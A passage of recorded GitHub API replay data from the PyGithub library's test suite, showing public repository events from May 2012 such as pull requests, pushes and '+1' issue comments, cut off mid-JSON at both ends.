while","updated_at":"2012-05-20T05:47:07Z","additions":2,"diff_url":"https://github.com/mbostock/d3/pull/648.diff","_links":{"html":{"href":"https://github.com/mbostock/d3/pull/648"},"self":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648"},"comments":{"href":"https://api.github.com/repos/mbostock/d3/issues/648/comments"},"issue":{"href":"https://api.github.com/repos/mbostock/d3/issues/648"},"review_comments":{"href":"https://api.github.com/repos/mbostock/d3/pulls/648/comments"}},"url":"https://api.github.com/repos/mbostock/d3/pulls/648","id":1388185,"patch_url":"https://github.com/mbostock/d3/pull/648.patch","mergeable":null,"merged_at":null,"closed_at":null,"commits":1,"html_url":"https://github.com/mbostock/d3/pull/648","user":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"},"review_comments":0,"deletions":2,"state":"open","base":{"repo":{"name":"d3","created_at":"2010-09-27T17:22:42Z","size":3268,"has_wiki":true,"clone_url":"https://github.com/mbostock/d3.git","updated_at":"2012-05-20T05:25:26Z","private":false,"watchers":5893,"git_url":"git://github.com/mbostock/d3.git","ssh_url":"git@github.com:mbostock/d3.git","fork":false,"language":"JavaScript","url":"https://api.github.com/repos/mbostock/d3","id":943149,"pushed_at":"2012-05-17T19:11:22Z","svn_url":"https://github.com/mbostock/d3","open_issues":110,"mirror_url":null,"has_downloads":true,"has_issues":true,"homepage":"http://d3js.org","forks":670,"description":"A JavaScript visualization library for HTML and SVG.","html_url":"https://github.com/mbostock/d3","owner":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}},"label":"mbostock:master","sha":"dd2a424f2bdb8fae1dab5ac27168f5bba186a0c4","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","id":230541,"login":"mbostock"}}},"action":"opened"},"public":true,"repo":{"url":"https://api.github.com/repos/mbostock/d3","id":943149,"name":"mbostock/d3"},"created_at":"2012-05-20T05:47:09Z","id":"1553878057","actor":{"avatar_url":"https://secure.gravatar.com/avatar/102614634bcb88f28cc84b9c8d1a7e66?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"102614634bcb88f28cc84b9c8d1a7e66","url":"https://api.github.com/users/eghm","id":52850,"login":"eghm"}},{"type":"PushEvent","payload":{"head":"389347c92a590c6e6165a53ae054e48ca6a23db9","size":1,"push_id":79392783,"commits":[{"sha":"389347c92a590c6e6165a53ae054e48ca6a23db9","author":{"name":"Nick Stenning","email":"nick@whiteink.com"},"url":"https://api.github.com/repos/mxcl/homebrew/commits/389347c92a590c6e6165a53ae054e48ca6a23db9","distinct":true,"message":"mu: make emacs support optional\n\nCloses #12306.\n\nSigned-off-by: Jack Nagel "}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:20:38Z","id":"1553874168","actor":{"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"login":"jacknagel"}},{"type":"PullRequestEvent","payload":{"number":12306,"pull_request":{"issue_url":"https://github.com/mxcl/homebrew/issues/12306","head":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2011-10-03T12:09:31Z","size":188,"has_wiki":true,"clone_url":"https://github.com/nickstenning/homebrew.git","updated_at":"2012-05-19T21:24:29Z","private":false,"watchers":1,"git_url":"git://github.com/nickstenning/homebrew.git","ssh_url":"git@github.com:nickstenning/homebrew.git","fork":true,"url":"https://api.github.com/repos/nickstenning/homebrew","language":"Ruby","id":2504318,"pushed_at":"2012-05-19T21:24:29Z","svn_url":"https://github.com/nickstenning/homebrew","mirror_url":null,"open_issues":0,"has_downloads":false,"has_issues":false,"homepage":"http://mxcl.github.com/homebrew","forks":0,"description":"The missing package manager for OS X.","html_url":"https://github.com/nickstenning/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"label":"nickstenning:fix-mu","sha":"1a4c4f1a3d3a87da4a49ae4209186edc695eb715","ref":"fix-mu","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"}},"number":12306,"created_at":"2012-05-18T10:18:22Z","changed_files":1,"merged_by":null,"merged":false,"body":"This patch removes a slightly insane dependency of `mu` on the `emacs` package.","comments":7,"title":"mu: don't depend on emacs","updated_at":"2012-05-20T05:19:00Z","additions":11,"diff_url":"https://github.com/mxcl/homebrew/pull/12306.diff","_links":{"html":{"href":"https://github.com/mxcl/homebrew/pull/12306"},"self":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306"},"comments":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306/comments"},"issue":{"href":"https://api.github.com/repos/mxcl/homebrew/issues/12306"},"review_comments":{"href":"https://api.github.com/repos/mxcl/homebrew/pulls/12306/comments"}},"url":"https://api.github.com/repos/mxcl/homebrew/pulls/12306","id":1380202,"patch_url":"https://github.com/mxcl/homebrew/pull/12306.patch","mergeable":true,"merged_at":null,"closed_at":"2012-05-20T05:19:00Z","commits":3,"html_url":"https://github.com/mxcl/homebrew/pull/12306","user":{"avatar_url":"https://secure.gravatar.com/avatar/7c753fa710877b55f7596b47f5a554b1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"7c753fa710877b55f7596b47f5a554b1","url":"https://api.github.com/users/nickstenning","id":3602,"login":"nickstenning"},"review_comments":0,"deletions":1,"state":"closed","base":{"repo":{"name":"homebrew","master_branch":"master","created_at":"2009-05-20T19:38:37Z","size":4436,"has_wiki":true,"clone_url":"https://github.com/mxcl/homebrew.git","updated_at":"2012-05-20T05:18:59Z","private":false,"watchers":8673,"git_url":"git://github.com/mxcl/homebrew.git","ssh_url":"git@github.com:mxcl/homebrew.git","fork":false,"url":"https://api.github.com/repos/mxcl/homebrew","language":"Ruby","id":206084,"pushed_at":"2012-05-20T05:18:59Z","svn_url":"https://github.com/mxcl/homebrew","mirror_url":null,"open_issues":423,"has_downloads":false,"has_issues":true,"homepage":"http://mxcl.github.com/homebrew","forks":3960,"description":"The missing package manager for OS X.","html_url":"https://github.com/mxcl/homebrew","owner":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}},"label":"mxcl:master","sha":"7ac1cbc996e0f18aaabad5ef327ff57161e0ae2e","ref":"master","user":{"avatar_url":"https://secure.gravatar.com/avatar/25ff3dfe48d3847ecf9971aab99589fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"25ff3dfe48d3847ecf9971aab99589fb","url":"https://api.github.com/users/mxcl","id":58962,"login":"mxcl"}}},"action":"closed"},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T05:19:01Z","id":"1553873936","actor":{"avatar_url":"https://secure.gravatar.com/avatar/68602fa96bdda4c677ece48ab42b6eb2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"68602fa96bdda4c677ece48ab42b6eb2","url":"https://api.github.com/users/jacknagel","id":568243,"login":"jacknagel"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetReceivedEvents.txt0000644000175100001660000023440114756101563025060 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/received_events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '79562'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"1b20f7931fdd3cb9b6f13ed739116aad"'), ('date', 'Sun, 20 May 2012 12:31:01 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:29:17Z","body":"+1","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808535","id":5808535,"user":{"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"login":"cherryboss"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":23,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:29:17Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:29:18Z","id":"1553916447","actor":{"gravatar_id":"b3cb2e7b64cad46d1cd6e5d3294c12cc","url":"https://api.github.com/users/cherryboss","id":1078894,"avatar_url":"https://secure.gravatar.com/avatar/b3cb2e7b64cad46d1cd6e5d3294c12cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cherryboss"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:25:03Z","body":"+1","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808513","id":5808513,"user":{"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"login":"Aurielle"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":22,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:25:03Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:25:06Z","id":"1553916062","actor":{"gravatar_id":"1cf1c7870c060e3d6e9bba907869deac","url":"https://api.github.com/users/Aurielle","id":144428,"avatar_url":"https://secure.gravatar.com/avatar/1cf1c7870c060e3d6e9bba907869deac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Aurielle"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:23:10Z","body":"+1","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808502","id":5808502,"user":{"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"login":"janmarek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":21,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:23:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:23:10Z","id":"1553915882","actor":{"gravatar_id":"19a6b06bab555481b203b024e5761567","url":"https://api.github.com/users/janmarek","id":150257,"avatar_url":"https://secure.gravatar.com/avatar/19a6b06bab555481b203b024e5761567?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"janmarek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:47Z","body":"+1","updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808501","id":5808501,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"login":"Jirda"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":20,"updated_at":"2012-05-20T12:22:47Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:48Z","id":"1553915852","actor":{"gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Jirda"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:42Z","body":"+1","updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808500","id":5808500,"user":{"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"login":"NeosinneR"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":19,"updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:43Z","id":"1553915842","actor":{"gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"NeosinneR"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:39Z","body":"+1","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808494","id":5808494,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"login":"Acnnair"}},"action":"created","issue":{"number":34,"pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"created_at":"2011-01-21T16:04:58Z","comments":18,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"html_url":"https://github.com/github/markup/issues/34","labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:39Z","id":"1553915747","actor":{"gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Acnnair"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:18Z","body":"+ 01 :)","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808490","id":5808490,"user":{"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"login":"adamtomecek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":17,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:18Z","id":"1553915704","actor":{"gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"adamtomecek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:20:43Z","body":"+1","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808487","id":5808487,"user":{"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"login":"Marax"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":16,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:20:43Z","id":"1553915653","actor":{"gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Marax"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:15:29Z","body":"+1","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808456","id":5808456,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"login":"MartinSadovy"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":15,"title":"[new markup] Texy! formatter 